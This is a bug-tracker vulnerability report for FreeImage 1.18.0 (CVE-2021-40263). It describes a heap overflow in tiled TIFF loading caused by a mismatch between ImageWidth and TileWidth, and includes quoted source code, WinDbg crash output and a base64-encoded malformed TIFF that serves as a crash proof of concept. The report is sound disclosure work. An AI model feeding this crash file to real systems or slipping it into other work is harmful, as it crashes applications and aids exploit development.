Headline
CVE-2021-40263: FreeImage / Bugs / #336 A heap_overflow on PluginTIFF.cpp when Load() TIFF
A heap overflow vulnerability in FreeImage 1.18.0 via the ofLoad function in PluginTIFF.cpp.
- Summary
- Files
- Reviews
- Support
- Mailing Lists
- Code
- Tickets ▾
- Feature Requests
- Patches
- Bugs
- Support Requests
- News
- Discussion
- FreeImage
Menu ▾ ▴
Status: open
Owner: nobody
Labels: None
Priority: 5
Updated: 2021-08-26
Created: 2021-08-26
Private: No
tl;dr:
When Load TIFF files, “ImageWidth” and “TileWidth” is read from file. FreeImage alloc memory size is controlled by "ImageWidth", but FreeImage write memory size if controlled by "TileWidth". if result of “TileWidth” diff with "ImageWidth", it will writing data more than the allocated memory.
When the program reads a TIFF file, it will be handed to the Load function of the ‘PluginTIFF.cpp’ file,
in Load function, we alloc memory by CreateImageType(), and write memory in Load function with "memcpy". And the "height", "width", "bitspersample", "samplesperpixel", “tileRowSize” and “imageRowSize” is read from file.
static FIBITMAP * DLL_CALLCONV
Load(FreeImageIO *io, fi_handle handle, int page, int flags, void *data) {
…
uint32_t height = 0;
uint32_t width = 0;
uint16_t bitspersample = 1;
uint16_t samplesperpixel = 1;
…
TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &width);
TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &height);
TIFFGetField(tif, TIFFTAG_SAMPLESPERPIXEL, &samplesperpixel);
TIFFGetField(tif, TIFFTAG_BITSPERSAMPLE, &bitspersample);
TIFFGetField(tif, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
TIFFGetField(tif, TIFFTAG_ICCPROFILE, &iccSize, &iccBuf);
TIFFGetFieldDefaulted(tif, TIFFTAG_PLANARCONFIG, &planar_config);
…
// ---------------------------------------------------------------------------------
if(loadMethod \== LoadAsRBGA) {
… } else if(loadMethod == LoadAsTiled) { // --------------------------------------------------------------------------------- // Tiled image loading // ---------------------------------------------------------------------------------
uint32\_t tileWidth, tileHeight;
uint32\_t src\_line \= 0;
// create a new DIB v\-------- alloc memory there
dib \= CreateImageType( header\_only, image\_type, width, height, bitspersample, samplesperpixel);
… // calculate src line and dst pitch unsigned dst_pitch = FreeImage_GetPitch(dib); uint32_t tileRowSize = (uint32_t)TIFFTileRowSize(tif); uint32_t imageRowSize = (uint32_t)TIFFScanlineSize(tif);
// In the tiff file the lines are saved from up to down
// In a DIB the lines must be saved from down to up
BYTE \*bits \= FreeImage\_GetScanLine(dib, height \- 1);
for (uint32\_t y \= 0; y < height; y += tileHeight) { // <---- write memory there
int32\_t nrows \= (y + tileHeight \> height ? height \- y : tileHeight);
for (uint32\_t x \= 0, rowSize \= 0; x < width; x += tileWidth, rowSize += tileRowSize) {
memset(tileBuffer, 0, tileSize);
// read one tile
if (TIFFReadTile(tif, tileBuffer, x, y, 0, 0) < 0) {
free(tileBuffer);
throw "Corrupted tiled TIFF file";
}
// convert to strip
if(x + tileWidth \> width) {
src\_line \= imageRowSize \- rowSize;
} else {
src\_line \= tileRowSize;
}
BYTE \*src\_bits \= tileBuffer;
BYTE \*dst\_bits \= bits + rowSize;
for(int k \= 0; k < nrows; k++) {
memcpy(dst\_bits, src\_bits, MIN(dst\_pitch, src\_line));
src\_bits += tileRowSize;
dst\_bits \-= dst\_pitch;
}
}
bits \-= nrows \* dst\_pitch;
}
… }
CreateImageType() alloc memory by “width","height","bitspersample” and "samplesperpixel".
static FIBITMAP* CreateImageType(BOOL header_only, FREE_IMAGE_TYPE fit, int width, int height, uint16_t bitspersample, uint16_t samplesperpixel) { FIBITMAP *dib = NULL; … int bpp = bitspersample * samplesperpixel; //<---- bpp == bitspersample * samplesperpixel … dib = FreeImage_AllocateHeader(header_only, width, height, bpp, FI_RGBA_RED_MASK, FI_RGBA_GREEN_MASK, FI_RGBA_BLUE_MASK); … return dib; }
FIBITMAP * DLL_CALLCONV FreeImage_AllocateHeader(BOOL header_only, int width, int height, int bpp, unsigned red_mask, unsigned green_mask, unsigned blue_mask) { return FreeImage_AllocateBitmap(header_only, NULL, 0, FIT_BITMAP, width, height, bpp, red_mask, green_mask, blue_mask); }
static FIBITMAP * FreeImage_AllocateBitmap(BOOL header_only, BYTE *ext_bits, unsigned ext_pitch, FREE_IMAGE_TYPE type, int width, int height, int bpp, unsigned red_mask, unsigned green_mask, unsigned blue_mask) { …
size\_t dib\_size \= FreeImage\_GetInternalImageSize(header\_only || ext\_bits, width, height, bpp, need\_masks); //<---- calc alloc size by bpp, width and height
if(dib\_size \== 0) {
// memory allocation will fail (probably a malloc overflow)
free(bitmap);
return NULL;
}
bitmap\->data \= (BYTE \*)FreeImage\_Aligned\_Malloc(dib\_size \* sizeof(BYTE), FIBITMAP\_ALIGNMENT); //<---- real alloc function
… }
in FreeImage_GetInternalImageSize(), it calc alloc size
static size_t FreeImage_GetInternalImageSize(BOOL header_only, unsigned width, unsigned height, unsigned bpp, BOOL need_masks) { size_t dib_size = sizeof(FREEIMAGEHEADER); … if(!header_only) { const size_t header_size = dib_size;
// pixels are aligned on a 16 bytes boundary dib_size += (size_t)CalculatePitch(CalculateLine(width, bpp)) * (size_t)height; //<— alloc size by line lenght * height, line lenght calc by width and bpp( = bitspersample * samplesperpixel) … }
return dib_size; }
but when we write memory, the read size calc by “tileWidth” and "width", loop (tileHeight//height) * (tileWidth//width) times.
for (uint32\_t y \= 0; y < height; y += tileHeight) { //<-- loop tileHeight//height times
int32\_t nrows \= (y + tileHeight \> height ? height \- y : tileHeight);
for (uint32\_t x \= 0, rowSize \= 0; x < width; x += tileWidth, rowSize += tileRowSize) { //<-- loop tileWidth//width times
memset(tileBuffer, 0, tileSize);
// read one tile
if (TIFFReadTile(tif, tileBuffer, x, y, 0, 0) < 0) {
free(tileBuffer);
throw "Corrupted tiled TIFF file";
}
// convert to strip
if(x + tileWidth \> width) {
src\_line \= imageRowSize \- rowSize;
} else {
src\_line \= tileRowSize;
}
BYTE \*src\_bits \= tileBuffer;
BYTE \*dst\_bits \= bits + rowSize;
for(int k \= 0; k < nrows; k++) {
memcpy(dst\_bits, src\_bits, MIN(dst\_pitch, src\_line));
src\_bits += tileRowSize;
dst\_bits \-= dst\_pitch;
}
}
bits \-= nrows \* dst\_pitch;
}
Finally, it will cause the heap overflow if we make the result of “TileWidth” diff with "ImageWidth". Moreover, it may has the risk of arbitrary code execution.
windbg:
ModLoad: 10000000 105ee000 D:\temp\_zzz\FreeImage.dll
ModLoad: 752b0000 752c4000 C:\Windows\SysWOW64\VCRUNTIME140.dll
ModLoad: 755e0000 75643000 C:\Windows\SysWOW64\WS2_32.dll
ModLoad: 77050000 7710f000 C:\Windows\SysWOW64\RPCRT4.dll
(8b8c.710): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=dd680000 edx=00000000 esi=77442044 edi=7744260c
eip=774e1b72 esp=006ff63c ebp=006ff668 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc int 3
0:000> g
(8b8c.710): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for D:\temp\_zzz\FreeImage.dll
eax=00000049 ebx=00000008 ecx=00000001 edx=00000001 esi=06667fd0 edi=06662000
eip=102a6e8f esp=006ff86c ebp=006ffa58 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
FreeImage!memcpy+0x51f:
102a6e8f 8807 mov byte ptr [edi],al ds:002b:06662000=??
0:000> db edi-0x20
06661fe0 00 00 00 00 00 00 00 00-2a 2a 2a 2a 2a 2a 2a 2a …********
06661ff0 49 49 49 49 49 49 49 49-49 49 49 49 49 49 49 49 IIIIIIIIIIIIIIII
06662000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???
06662010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???
06662020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???
06662030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???
06662040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???
06662050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???
0:000> kv
# ChildEBP RetAddr Args to Child
00 006ff870 100378e8 06662000 06667fd0 00000001 FreeImage!memcpy+0x51f (FPO: [3,0,2]) (CONV: cdecl) [d:\agent\_work\4\s\src\vctools\crt\vcruntime\src\string\i386\memcpy.asm @ 669]
01 006ffabc 1000d9de 006ffb10 06619fc8 06667fd0 FreeImage!_TIFFmemcmp+0x2d28 (FPO: [5,139,3])
02 006ffaf0 1000da60 00000012 006ffb10 06619fc8 FreeImage!FreeImage_LoadFromHandle+0x8e (FPO: [Uses EBP] [4,3,2])
03 006ffb1c 00b0107b 00000012 06615fee 00000000 FreeImage!FreeImage_Load+0x50 (FPO: [3,4,2])
TestFile:
data:image/tiff;base64,SUkqAAgAAAAGAAABAwABAAAAMAAwMAEBAwABAAAAMAAwMBcBBAAYAAAACAAAABEBAwABAAAAMAABABYBAwABAAAAMAABAEIBAwABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
2 Attachments
Discussion
Log in to post a comment.